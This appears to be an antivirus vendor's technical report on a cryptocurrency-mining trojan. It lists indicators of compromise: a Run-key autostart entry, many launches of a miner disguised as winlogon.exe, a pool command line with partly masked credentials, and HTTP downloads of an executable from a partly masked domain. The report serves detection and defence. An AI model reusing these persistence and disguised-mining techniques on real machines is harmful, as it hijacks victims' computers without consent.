Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Startup' = '%APPDATA%\Mining\Mining.exe'
Malicious functions:
Creates and executes the following:
- '%APPDATA%\Mining\winlogon.exe' /pid=3116
- '%APPDATA%\Mining\winlogon.exe' /pid=4400
- '%APPDATA%\Mining\winlogon.exe' /pid=5420
- '%APPDATA%\Mining\winlogon.exe' /pid=5760
- '%APPDATA%\Mining\winlogon.exe' /pid=4480
- '%APPDATA%\Mining\winlogon.exe' /pid=5212
- '%APPDATA%\Mining\winlogon.exe' /pid=5372
- '%APPDATA%\Mining\winlogon.exe' /pid=5080
- '%APPDATA%\Mining\winlogon.exe' /pid=4760
- '%APPDATA%\Mining\winlogon.exe' /pid=4268
- '%APPDATA%\Mining\winlogon.exe' /pid=3976
- '%APPDATA%\Mining\winlogon.exe' /pid=5600
- '%APPDATA%\Mining\winlogon.exe' /pid=3628
- '%APPDATA%\Mining\winlogon.exe' /pid=2668
- '%APPDATA%\Mining\winlogon.exe' /pid=5220
- '%APPDATA%\Mining\winlogon.exe' /pid=3308
- '%APPDATA%\Mining\winlogon.exe' /pid=6084
- '%APPDATA%\Mining\winlogon.exe' /pid=5884
- '%APPDATA%\Mining\winlogon.exe' /pid=4492
- '%APPDATA%\Mining\winlogon.exe' /pid=3576
- '%APPDATA%\Mining\winlogon.exe' /pid=3748
- '%APPDATA%\Mining\winlogon.exe' /pid=3076
- '%APPDATA%\Mining\winlogon.exe' /pid=2908
- '%APPDATA%\Mining\winlogon.exe' /pid=4872
- '%APPDATA%\Mining\winlogon.exe' /pid=5896
- '%APPDATA%\Mining\winlogon.exe' /pid=5864
- '%APPDATA%\Mining\winlogon.exe' /pid=3448
- '%APPDATA%\Mining\winlogon.exe' /pid=3828
- '%APPDATA%\Mining\winlogon.exe' /pid=4368
- '%APPDATA%\Mining\winlogon.exe' /pid=4592
- '%APPDATA%\Mining\winlogon.exe' /pid=480
- '%APPDATA%\Mining\winlogon.exe' /pid=996
- '%APPDATA%\Mining\winlogon.exe' /pid=3808
- '%APPDATA%\Mining\winlogon.exe' /pid=5320
- '%APPDATA%\Mining\winlogon.exe' /pid=5332
- '%APPDATA%\Mining\winlogon.exe' /pid=3728
- '%APPDATA%\Mining\winlogon.exe' /pid=3528
- '%APPDATA%\Mining\winlogon.exe' /pid=3228
- '%APPDATA%\Mining\winlogon.exe' /pid=2928
- '%APPDATA%\Mining\winlogon.exe' /pid=5092
- '%APPDATA%\Mining\winlogon.exe' /pid=5460
- '%APPDATA%\Mining\winlogon.exe' /pid=2524
- '%APPDATA%\Mining\winlogon.exe' /pid=1504
- '%APPDATA%\Mining\winlogon.exe' /pid=5440
- '%APPDATA%\Mining\winlogon.exe' /pid=4168
- '%APPDATA%\Mining\winlogon.exe' /pid=2200
- '%APPDATA%\Mining\winlogon.exe' /pid=5000
- '%APPDATA%\Mining\winlogon.exe' /pid=6140
- '%APPDATA%\Mining\winlogon.exe' -a sha256 -o http://12##################FzP9jztnYft7n9:xdfssdfsd@getwork.mining.eligius.st:8337 -T 83 -l yes -t 1
- '%APPDATA%\Mining\winlogon.exe' /pid=5292
- '%APPDATA%\Mining\winlogon.exe' /pid=3516
- '%APPDATA%\Mining\winlogon.exe' /pid=2704
- '%APPDATA%\Mining\winlogon.exe' /pid=4376
- '%APPDATA%\Mining\winlogon.exe' /pid=4980
- '%APPDATA%\Mining\winlogon.exe' /pid=5072
- '%APPDATA%\Mining\winlogon.exe' /pid=5916
- '%APPDATA%\Mining\winlogon.exe' /pid=5996
- '%APPDATA%\Mining\winlogon.exe' /pid=4780
- '%APPDATA%\Mining\winlogon.exe' /pid=6036
- '%APPDATA%\Mining\winlogon.exe' /pid=728
- '%APPDATA%\Mining\winlogon.exe' /pid=5260
- '%APPDATA%\Mining\winlogon.exe' /pid=1728
- '%APPDATA%\Mining\winlogon.exe' /pid=4156
- '%APPDATA%\Mining\winlogon.exe' /pid=4276
- '%APPDATA%\Mining\winlogon.exe' /pid=5052
- '%APPDATA%\Mining\winlogon.exe' /pid=5660
- '%APPDATA%\Mining\winlogon.exe' /pid=5512
- '%APPDATA%\Mining\winlogon.exe' /pid=5984
- '%APPDATA%\Mining\winlogon.exe' /pid=5592
- '%APPDATA%\Mining\winlogon.exe' /pid=4900
- '%APPDATA%\Mining\winlogon.exe' /pid=5680
- '%APPDATA%\Mining\winlogon.exe' /pid=4600
- '%APPDATA%\Mining\winlogon.exe' (downloaded from the Internet)
Modifies file system :
Creates the following files:
- %APPDATA%\Mining\winlogon.exe
Moves itself:
- from <Full path to virus> to %APPDATA%\Mining\Mining.exe
Network activity:
Connects to:
- 'my####emshake.info':80
- 'wp#d':80
TCP:
HTTP GET requests:
- my####emshake.info/UFA.exe
- wp#d/wpad.dat
UDP:
- DNS ASK my####emshake.info
- DNS ASK wp#d
Miscellaneous:
Searches for the following windows:
- ClassName: 'Indicator' WindowName: ''
